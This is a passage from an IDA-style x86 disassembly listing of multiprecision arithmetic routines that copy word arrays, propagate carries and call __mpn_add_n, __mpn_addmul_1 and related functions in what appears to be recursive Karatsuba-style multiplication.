		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx

loc_80594D1:				; CODE XREF: sub_8059048+470j
		mov	esi, [ebp+var_14]
		mov	eax, [esi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx
		cmp	[ebp+var_10], ecx
		jz	short loc_805950C

loc_80594E0:				; CODE XREF: sub_8059048+46Bj
					; sub_8059048+4C2j
		mov	edi, [ebp+var_14]
		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		lea	edx, [ecx+1]
		mov	eax, [edi+edx*4]
		mov	[ebx+edx*4], eax
		lea	edx, [ecx+2]
		mov	eax, [edi+edx*4]
		mov	[ebx+edx*4], eax
		lea	edx, [ecx+3]
		mov	eax, [edi+edx*4]
		mov	[ebx+edx*4], eax
		add	ecx, 4
		cmp	[ebp+var_10], ecx
		jnz	short loc_80594E0

loc_805950C:				; CODE XREF: sub_8059048+354j
					; sub_8059048+384j ...
		xor	ecx, ecx
		cmp	[ebp+var_4], ecx
		jle	short loc_805957F
		mov	eax, [ebp+var_4]
		and	eax, 3
		jz	short loc_8059550
		cmp	eax, 1
		jle	short loc_805953D
		cmp	eax, 2
		jle	short loc_8059530
		mov	esi, [ebp+arg_10]
		mov	eax, [esi]
		mov	edi, [ebp+arg_0]
		mov	[edi], eax
		inc	ecx

loc_8059530:				; CODE XREF: sub_8059048+4DBj
		mov	esi, [ebp+arg_10]
		mov	eax, [esi+ecx*4]
		mov	edi, [ebp+arg_0]
		mov	[edi+ecx*4], eax
		inc	ecx

loc_805953D:				; CODE XREF: sub_8059048+4D6j
		mov	esi, [ebp+arg_10]
		mov	eax, [esi+ecx*4]
		mov	edi, [ebp+arg_0]
		mov	[edi+ecx*4], eax
		inc	ecx
		cmp	[ebp+var_4], ecx
		jz	short loc_805957F
		nop

loc_8059550:				; CODE XREF: sub_8059048+4D1j
					; sub_8059048+535j
		mov	esi, [ebp+arg_10]
		mov	eax, [esi+ecx*4]
		mov	edi, [ebp+arg_0]
		mov	[edi+ecx*4], eax
		lea	eax, [ecx+1]
		mov	edx, [esi+eax*4]
		mov	[edi+eax*4], edx
		lea	eax, [ecx+2]
		mov	edx, [esi+eax*4]
		mov	[edi+eax*4], edx
		lea	eax, [ecx+3]
		mov	edx, [esi+eax*4]
		mov	[edi+eax*4], edx
		add	ecx, 4
		cmp	[ebp+var_4], ecx
		jnz	short loc_8059550

loc_805957F:				; CODE XREF: sub_8059048+4C9j
					; sub_8059048+505j
		mov	esi, [ebp+var_4]
		push	esi
		lea	eax, ds:0[esi*4]
		mov	edx, [ebp+arg_10]
		add	edx, eax
		push	edx
		add	eax, [ebp+arg_0]
		push	eax
		push	eax
		call	__mpn_add_n
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_8059710
		mov	edi, [ebp+arg_C]
		mov	esi, [ebp+arg_0]
		lea	ebx, [esi+edi*4]
		mov	[ebp+var_10], edi
		mov	edx, [ebx]
		lea	edi, [ebx+4]
		mov	[ebp+var_14], edi
		lea	eax, [edx+1]
		mov	[ebx], eax
		mov	ebx, [ebp+var_14]
		cmp	eax, edx
		jnb	loc_80596A0
		dec	[ebp+var_10]
		jz	loc_8059710
		mov	eax, [ebp+var_10]
		neg	eax
		and	eax, 3
		cmp	[ebp+var_10], 0
		jle	short loc_8059623
		test	eax, eax
		jz	short loc_8059644
		cmp	eax, 3
		jge	short loc_8059623
		cmp	eax, 2
		jge	short loc_8059607
		mov	edx, [ebx]
		inc	edx
		lea	esi, [ebx+4]
		mov	[ebp+var_14], esi
		mov	[ebx], edx
		mov	ebx, [ebp+var_14]
		test	edx, edx
		jnz	loc_80596A0
		dec	[ebp+var_10]

loc_8059607:				; CODE XREF: sub_8059048+5A4j
		mov	edi, [ebp+var_14]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_14], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	loc_80596A0
		dec	[ebp+var_10]

loc_8059623:				; CODE XREF: sub_8059048+596j
					; sub_8059048+59Fj
		mov	esi, [ebp+var_14]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_14], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_80596A0
		dec	[ebp+var_10]
		jz	loc_8059710
		lea	esi, [esi+0]

loc_8059644:				; CODE XREF: sub_8059048+59Aj
					; sub_8059048+653j
		mov	edi, [ebp+var_14]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_14], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_80596A0
		dec	[ebp+var_10]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_14], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_80596A0
		dec	[ebp+var_10]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_14], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_80596A0
		dec	[ebp+var_10]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_14], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_80596A0
		dec	[ebp+var_10]
		jnz	short loc_8059644
		jmp	short loc_8059710
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80596A0:				; CODE XREF: sub_8059048+57Bj
					; sub_8059048+5B6j ...
		cmp	[ebp+var_14], ebx
		jz	short loc_8059710
		xor	ecx, ecx
		mov	esi, [ebp+var_10]
		dec	esi
		mov	[ebp+var_10], esi
		cmp	ecx, esi
		jge	short loc_8059710
		mov	eax, esi
		and	eax, 3
		jz	short loc_80596E4
		cmp	eax, 1
		jle	short loc_80596D5
		cmp	eax, 2
		jle	short loc_80596CB
		mov	edi, [ebp+var_14]
		mov	eax, [edi]
		mov	[ebx], eax
		inc	ecx

loc_80596CB:				; CODE XREF: sub_8059048+679j
		mov	esi, [ebp+var_14]
		mov	eax, [esi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx

loc_80596D5:				; CODE XREF: sub_8059048+674j
		mov	edi, [ebp+var_14]
		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx
		cmp	[ebp+var_10], ecx
		jz	short loc_8059710

loc_80596E4:				; CODE XREF: sub_8059048+66Fj
					; sub_8059048+6C6j
		mov	esi, [ebp+var_14]
		mov	eax, [esi+ecx*4]
		mov	[ebx+ecx*4], eax
		lea	edx, [ecx+1]
		mov	eax, [esi+edx*4]
		mov	[ebx+edx*4], eax
		lea	edx, [ecx+2]
		mov	eax, [esi+edx*4]
		mov	[ebx+edx*4], eax
		lea	edx, [ecx+3]
		mov	eax, [esi+edx*4]
		mov	[ebx+edx*4], eax
		add	ecx, 4
		cmp	[ebp+var_10], ecx
		jnz	short loc_80596E4

loc_8059710:				; CODE XREF: sub_8059048+85j
					; sub_8059048+557j ...
		lea	esp, [ebp+var_20]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8059048	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805971C	proc near		; CODE XREF: sub_8059938+8Cp
					; sub_8059938+ADp ...

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [esi]
		cmp	eax, 1
		ja	loc_8059810
		jnz	short loc_80597AC
		xor	ecx, ecx
		cmp	[ebp+arg_8], ecx
		jle	loc_805980B
		mov	eax, [ebp+arg_8]
		and	eax, 3
		jz	short loc_805977C
		cmp	eax, 1
		jle	short loc_8059766
		cmp	eax, 2
		jle	short loc_805975C
		mov	dword ptr [ebx], 1
		inc	ecx

loc_805975C:				; CODE XREF: sub_805971C+37j
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx

loc_8059766:				; CODE XREF: sub_805971C+32j
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx
		cmp	[ebp+arg_8], ecx
		jz	loc_805980B
		lea	esi, [esi+0]

loc_805977C:				; CODE XREF: sub_805971C+2Dj
					; sub_805971C+8Aj
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		lea	eax, [ecx+1]
		mov	edx, [edi+eax*4]
		mov	[ebx+eax*4], edx
		lea	eax, [ecx+2]
		mov	edx, [edi+eax*4]
		mov	[ebx+eax*4], edx
		lea	eax, [ecx+3]
		mov	edx, [edi+eax*4]
		mov	[ebx+eax*4], edx
		add	ecx, 4
		cmp	[ebp+arg_8], ecx
		jnz	short loc_805977C
		jmp	short loc_805980B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80597AC:				; CODE XREF: sub_805971C+1Aj
		xor	eax, eax
		cmp	[ebp+arg_8], eax
		jle	short loc_805980B
		mov	edx, [ebp+arg_8]
		and	edx, 3
		jz	short loc_80597E4
		cmp	edx, 1
		jle	short loc_80597D4
		cmp	edx, 2
		jle	short loc_80597CC
		mov	dword ptr [ebx], 0
		inc	eax

loc_80597CC:				; CODE XREF: sub_805971C+A7j
		mov	dword ptr [ebx+eax*4], 0
		inc	eax

loc_80597D4:				; CODE XREF: sub_805971C+A2j
		mov	dword ptr [ebx+eax*4], 0
		inc	eax
		cmp	[ebp+arg_8], eax
		jz	short loc_805980B
		lea	esi, [esi+0]

loc_80597E4:				; CODE XREF: sub_805971C+9Dj
					; sub_805971C+EDj
		mov	dword ptr [ebx+eax*4], 0
		mov	dword ptr [ebx+eax*4+4], 0
		mov	dword ptr [ebx+eax*4+8], 0
		mov	dword ptr [ebx+eax*4+0Ch], 0
		add	eax, 4
		cmp	[ebp+arg_8], eax
		jnz	short loc_80597E4

loc_805980B:				; CODE XREF: sub_805971C+21j
					; sub_805971C+57j ...
		xor	edx, edx
		jmp	short loc_8059824
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8059810:				; CODE XREF: sub_805971C+14j
		push	eax
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		push	ebx
		call	__mpn_mul_1
		mov	edx, eax
		add	esp, 10h

loc_8059824:				; CODE XREF: sub_805971C+F1j
		mov	esi, [ebp+arg_8]
		mov	[ebx+esi*4], edx
		add	ebx, 4
		mov	[ebp+var_4], 1
		cmp	[ebp+var_4], esi
		jge	loc_805992C
		test	esi, 1
		jnz	short loc_8059890
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+4]
		cmp	eax, 1
		ja	short loc_8059864
		xor	edx, edx
		cmp	eax, 1
		jnz	short loc_8059878
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	__mpn_add_n
		jmp	short loc_8059873
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8059864:				; CODE XREF: sub_805971C+132j
		push	eax
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		push	ebx
		call	__mpn_addmul_1

loc_8059873:				; CODE XREF: sub_805971C+144j
		mov	edx, eax
		add	esp, 10h

loc_8059878:				; CODE XREF: sub_805971C+139j
		mov	esi, [ebp+arg_8]
		mov	[ebx+esi*4], edx
		add	ebx, 4
		inc	[ebp+var_4]
		cmp	[ebp+var_4], esi
		jz	loc_805992C
		lea	esi, [esi+0]

loc_8059890:				; CODE XREF: sub_805971C+127j
					; sub_805971C+20Aj
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+edi*4]
		cmp	eax, 1
		ja	short loc_80598B4
		xor	edx, edx
		cmp	eax, 1
		jnz	short loc_80598C8
		mov	edi, [ebp+arg_8]
		push	edi
		push	esi
		push	ebx
		push	ebx
		call	__mpn_add_n
		jmp	short loc_80598C3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80598B4:				; CODE XREF: sub_805971C+180j
		push	eax
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		push	ebx
		call	__mpn_addmul_1

loc_80598C3:				; CODE XREF: sub_805971C+195j
		mov	edx, eax
		add	esp, 10h

loc_80598C8:				; CODE XREF: sub_805971C+187j
		mov	esi, [ebp+arg_8]
		mov	[ebx+esi*4], edx
		lea	edi, [ebx+4]
		mov	[ebp+var_8], edi
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+esi*4+4]
		cmp	eax, 1
		ja	short loc_80598FC
		xor	edx, edx
		cmp	eax, 1
		jnz	short loc_8059913
		mov	esi, [ebp+arg_8]
		push	esi
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		push	edi
		call	__mpn_add_n
		jmp	short loc_805990E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80598FC:				; CODE XREF: sub_805971C+1C5j
		push	eax
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+var_8]
		push	esi
		call	__mpn_addmul_1

loc_805990E:				; CODE XREF: sub_805971C+1DDj
		mov	edx, eax
		add	esp, 10h

loc_8059913:				; CODE XREF: sub_805971C+1CCj
		mov	edi, [ebp+arg_8]
		mov	esi, [ebp+var_8]
		mov	[esi+edi*4], edx
		add	ebx, 8
		add	[ebp+var_4], 2
		cmp	[ebp+var_4], edi
		jnz	loc_8059890

loc_805992C:				; CODE XREF: sub_805971C+11Bj
					; sub_805971C+16Bj
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805971C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8059938	proc near		; CODE XREF: sub_8059938+2Ep
					; sub_8059938+DCp ...

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_8]
		test	esi, 1
		jz	loc_80599F0
		dec	esi
		mov	[ebp+var_10], esi
		cmp	esi, 1Fh
		jle	short loc_80599B8
		mov	edi, [ebp+arg_C]
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		push	esi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_8059938
		add	esp, 10h

loc_805996E:				; CODE XREF: sub_8059938+94j
		mov	esi, [ebp+var_10]
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+esi*4]
		push	eax
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		lea	ebx, [edi+esi*4]
		push	ebx
		call	__mpn_addmul_1
		mov	edx, eax
		mov	eax, [ebp+var_10]
		add	eax, eax
		mov	[edi+eax*4], edx
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+esi*4]
		push	eax
		mov	esi, [ebp+arg_8]
		push	esi
		push	edi
		push	ebx
		call	__mpn_addmul_1
		mov	edx, eax
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_10]
		mov	edi, [ebp+arg_0]
		mov	[edi+eax*4], edx
		jmp	loc_8059F40
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80599B8:				; CODE XREF: sub_8059938+1Fj
		mov	esi, [ebp+var_10]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_805971C
		add	esp, 0Ch
		jmp	short loc_805996E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80599D0:				; CODE XREF: sub_8059938+C4j
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_4]
		lea	eax, [esi+edi*4]
		push	eax
		mov	edi, [ebp+arg_8]
		mov	esi, [ebp+arg_0]
		lea	eax, [esi+edi*4]
		push	eax
		call	sub_805971C
		add	esp, 0Ch
		jmp	short loc_8059A1C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80599F0:				; CODE XREF: sub_8059938+12j
		mov	edi, [ebp+arg_8]
		sar	edi, 1
		mov	[ebp+var_4], edi
		cmp	edi, 1Fh
		jle	short loc_80599D0
		mov	esi, [ebp+arg_C]
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		lea	eax, [esi+edi*4]
		push	eax
		mov	edi, [ebp+arg_8]
		mov	esi, [ebp+arg_0]
		lea	eax, [esi+edi*4]
		push	eax
		call	sub_8059938
		add	esp, 10h

loc_8059A1C:				; CODE XREF: sub_8059938+B5j
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		lea	ebx, [esi+edi*4]
		push	ebx
		call	__mpn_cmp
		add	esp, 0Ch
		test	eax, eax
		jl	short loc_8059A74
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		push	edi
		jmp	short loc_8059A84
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8059A40:				; CODE XREF: sub_8059938+158j
		mov	esi, [ebp+var_4]
		push	esi
		mov	edi, [ebp+arg_0]
		push	edi
		mov	esi, [ebp+arg_C]
		push	esi
		call	sub_805971C
		add	esp, 0Ch
		jmp	short loc_8059AB0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8059A58:				; CODE XREF: sub_8059938+24Aj
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		mov	edi, [ebp+arg_C]
		push	edi
		call	sub_805971C
		add	esp, 0Ch
		jmp	loc_8059BA3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8059A74:				; CODE XREF: sub_8059938+FAj
		mov	esi, [ebp+var_4]
		push	esi
		mov	edi, [ebp+arg_4]
		lea	eax, [edi+esi*4]
		push	eax
		push	edi
		mov	esi, [ebp+arg_0]
		push	esi

loc_8059A84:				; CODE XREF: sub_8059938+103j
		call	__mpn_sub_n
		add	esp, 10h
		cmp	[ebp+var_4], 1Fh
		jle	short loc_8059A40
		mov	edi, [ebp+arg_8]
		mov	esi, [ebp+arg_C]
		lea	eax, [esi+edi*4]
		push	eax
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_0]
		push	esi
		mov	edi, [ebp+arg_C]
		push	edi
		call	sub_8059938
		add	esp, 10h

loc_8059AB0:				; CODE XREF: sub_8059938+11Cj
		cmp	[ebp+var_4], 0
		jle	loc_8059B3F
		mov	esi, [ebp+arg_8]
		lea	edx, ds:0[esi*4]
		mov	edi, [ebp+var_4]
		lea	ecx, ds:0[edi*4]
		lea	ebx, [edx+ecx]
		mov	eax, edi
		and	eax, 3
		jz	short loc_8059B14
		cmp	eax, 1
		jle	short loc_8059B00
		cmp	eax, 2
		jle	short loc_8059AF1
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+edx]
		mov	[esi+ecx], eax
		add	edx, 4
		add	ecx, 4

loc_8059AF1:				; CODE XREF: sub_8059938+1A8j
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+edx]
		mov	[edi+ecx], eax
		add	edx, 4
		add	ecx, 4

loc_8059B00:				; CODE XREF: sub_8059938+1A3j
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+edx]
		mov	[esi+ecx], eax
		add	edx, 4
		add	ecx, 4
		cmp	edx, ebx
		jz	short loc_8059B3F
		nop

loc_8059B14:				; CODE XREF: sub_8059938+19Ej
					; sub_8059938+205j
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+edx]
		mov	[edi+ecx], eax
		mov	eax, [edi+edx+4]
		mov	[edi+ecx+4], eax
		mov	eax, [edi+edx+8]
		mov	[edi+ecx+8], eax
		mov	eax, [edi+edx+0Ch]
		mov	[edi+ecx+0Ch], eax
		add	edx, 10h
		add	ecx, 10h
		cmp	edx, ebx
		jnz	short loc_8059B14

loc_8059B3F:				; CODE XREF: sub_8059938+17Cj
					; sub_8059938+1D9j
		mov	esi, [ebp+var_4]
		push	esi
		mov	edi, [ebp+arg_8]
		shl	edi, 2
		mov	[ebp+var_10], edi
		mov	eax, [ebp+arg_0]
		add	eax, edi
		lea	ebx, ds:0[esi*4]
		lea	edx, [ebx+eax]
		push	edx
		push	eax
		push	eax
		call	__mpn_add_n
		mov	[ebp+var_8], eax
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_C]
		push	edi
		add	ebx, [ebp+arg_0]
		push	ebx
		push	ebx
		call	__mpn_sub_n
		sub	[ebp+var_8], eax
		add	esp, 20h
		cmp	[ebp+var_4], 1Fh
		jle	loc_8059A58
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_10]
		push	eax
		mov	esi, [ebp+var_4]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+arg_C]
		push	esi
		call	sub_8059938
		add	esp, 10h

loc_8059BA3:				; CODE XREF: sub_8059938+134j
		mov	edi, [ebp+arg_8]
		push	edi
		mov	esi, [ebp+arg_C]
		push	esi
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_0]
		lea	ebx, [esi+edi*4]
		push	ebx
		push	ebx
		call	__mpn_add_n
		add	[ebp+var_8], eax
		add	esp, 10h
		cmp	[ebp+var_8], 0
		jz	loc_8059D3C
		mov	edi, [ebp+arg_8]
		lea	ebx, [ebx+edi*4]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_C], esi
		mov	edx, [ebx]
		lea	edi, [ebx+4]
		mov	[ebp+var_10], edi
		mov	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebx], eax
		mov	ebx, [ebp+var_10]
		cmp	eax, edx
		jnb	loc_8059CCC
		dec	esi
		mov	[ebp+var_C], esi
		jz	loc_8059D3C
		mov	eax, esi
		neg	eax
		and	eax, 3
		test	esi, esi
		jle	short loc_8059C4F
		test	eax, eax
		jz	short loc_8059C70
		cmp	eax, 3
		jge	short loc_8059C4F
		cmp	eax, 2
		jge	short loc_8059C33
		mov	edx, [ebx]
		inc	edx
		lea	esi, [ebx+4]
		mov	[ebp+var_10], esi
		mov	[ebx], edx
		mov	ebx, [ebp+var_10]
		test	edx, edx
		jnz	loc_8059CCC
		mov	edi, [ebp+var_4]
		add	edi, 0FFFFFFFEh
		mov	[ebp+var_C], edi

loc_8059C33:				; CODE XREF: sub_8059938+2DAj
		mov	esi, [ebp+var_10]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_10], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	loc_8059CCC
		dec	[ebp+var_C]

loc_8059C4F:				; CODE XREF: sub_8059938+2CCj
					; sub_8059938+2D5j
		mov	edi, [ebp+var_10]
		mov	edx, [edi]
		inc	edx
		add	edi, 4
		mov	[ebp+var_10], edi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059CCC
		dec	[ebp+var_C]
		jz	loc_8059D3C
		lea	esi, [esi+0]

loc_8059C70:				; CODE XREF: sub_8059938+2D0j
					; sub_8059938+38Fj
		mov	esi, [ebp+var_10]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_10], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059CCC
		dec	[ebp+var_C]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_10], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059CCC
		dec	[ebp+var_C]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_10], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059CCC
		dec	[ebp+var_C]
		mov	edx, [esi]
		inc	edx
		add	esi, 4
		mov	[ebp+var_10], esi
		mov	[ebx], edx
		add	ebx, 4
		test	edx, edx
		jnz	short loc_8059CCC
		dec	[ebp+var_C]
		jnz	short loc_8059C70
		jmp	short loc_8059D3C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8059CCC:				; CODE XREF: sub_8059938+2B3j
					; sub_8059938+2ECj ...
		cmp	[ebp+var_10], ebx
		jz	short loc_8059D3C
		xor	ecx, ecx
		mov	edi, [ebp+var_C]
		dec	edi
		mov	[ebp+var_C], edi
		cmp	ecx, edi
		jge	short loc_8059D3C
		mov	eax, edi
		and	eax, 3
		jz	short loc_8059D10
		cmp	eax, 1
		jle	short loc_8059D01
		cmp	eax, 2
		jle	short loc_8059CF7
		mov	esi, [ebp+var_10]
		mov	eax, [esi]
		mov	[ebx], eax
		inc	ecx

loc_8059CF7:				; CODE XREF: sub_8059938+3B5j
		mov	edi, [ebp+var_10]
		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx

loc_8059D01:				; CODE XREF: sub_8059938+3B0j
		mov	esi, [ebp+var_10]
		mov	eax, [esi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx
		cmp	[ebp+var_C], ecx
		jz	short loc_8059D3C

loc_8059D10:				; CODE XREF: sub_8059938+3ABj
					; sub_8059938+402j
		mov	edi, [ebp+var_10]
		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		lea	edx, [ecx+1]
		mov	eax, [edi+edx*4]
		mov	[ebx+edx*4], eax
		lea	edx, [ecx+2]
		mov	eax, [edi+edx*4]
		mov	[ebx+edx*4], eax
		lea	edx, [ecx+3]
		mov	eax, [edi+edx*4]
		mov	[ebx+edx*4], eax
		add	ecx, 4
		cmp	[ebp+var_C], ecx
		jnz	short loc_8059D10

loc_8059D3C:				; CODE XREF: sub_8059938+28Dj
					; sub_8059938+2BDj ...
		xor	ecx, ecx
		cmp	[ebp+var_4], ecx
		jle	short loc_8059DAF
		mov	eax, [ebp+var_4]
		and	eax, 3
		jz	short loc_8059D80
		cmp	eax, 1
		jle	short loc_8059D6D
		cmp	eax, 2
		jle	short loc_8059D60
		mov	esi, [ebp+arg_C]
		mov	eax, [esi]
		mov	edi, [ebp+arg_0]
		mov	[edi], eax
		inc	ecx

loc_8059D60:				; CODE XREF: sub_8059938+41Bj
		mov	esi, [ebp+arg_C]
		mov	eax, [esi+ecx*4]
		mov	edi, [ebp+arg_0]
		mov	[edi+ecx*4], eax
		inc	ecx

loc_8059D6D:				; CODE XREF: sub_8059938+416j
		mov	esi, [ebp+arg_C]
		mov	eax, [esi+ecx*4]
		mov	edi, [ebp+arg_0]
		mov	[edi+ecx*4], eax
		inc	ecx
		cmp	[ebp+var_4], ecx
		jz	short loc_8059DAF
		nop

loc_8059D80:				; CODE XREF: sub_8059938+411j
					; sub_8059938+475j
		mov	esi, [ebp+arg_C]
		mov	eax, [esi+ecx*4]
		mov	edi, [ebp+arg_0]
		mov	[edi+ecx*4], eax
		lea	eax, [ecx+1]
		mov	edx, [esi+eax*4]
		mov	[edi+eax*4], edx
		lea	eax, [ecx+2]
		mov	edx, [esi+eax*4]
		mov	[edi+eax*4], edx
		lea	eax, [ecx+3]
		mov	edx, [esi+eax*4]
		mov	[edi+eax*4], edx
		add	ecx, 4
		cmp	[ebp+var_4], ecx
		jnz	short loc_8059D80

loc_8059DAF:				; CODE XREF: sub_8059938+409j
					; sub_8059938+445j
		mov	esi, [ebp+var_4]
		push	esi
		lea	eax, ds:0[esi*4]
		mov	edx, [ebp+arg_C]
		add	edx, eax
		push	edx
		add	eax, [ebp+arg_0]
		push	eax
		push	eax
		call	__mpn_add_n
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_8059F40
		mov	edi, [ebp+arg_8]
		mov	esi, [ebp+arg_0]
		lea	ebx, [esi+edi*4]
		mov	[ebp+var_C], edi
		mov	edx, [ebx]
		lea	edi, [ebx+4]
		mov	[ebp+var_10], edi
		lea	eax, [edx+1]
		mov	[ebx], eax
		mov	ebx, [ebp+var_10]
		cmp	eax, edx
		jnb	loc_8059ED0
		dec	[ebp+var_C]
		jz	loc_8059F40
		mov	eax, [ebp+var_C]
		neg	eax
		and	eax, 3
		cmp	[ebp+var_C], 0
		jle	short loc_8059E53
		test	eax, eax
		jz	short loc_8059E74
		cmp	eax, 3
		jge	short loc_8059E53
		cmp	eax, 2
		jge	short loc_8059E37
		mov	edx, [ebx]
		inc	edx
		lea	esi, [ebx+4]
		mov	[ebp+var_10], esi
		mov	[ebx], edx
		mov	ebx, [ebp+var_10]
		test	edx, edx
		jnz	loc_8059ED0
		dec	[ebp+var_C]

loc_8059E37:				; CODE XREF: sub_8059938+4E4j
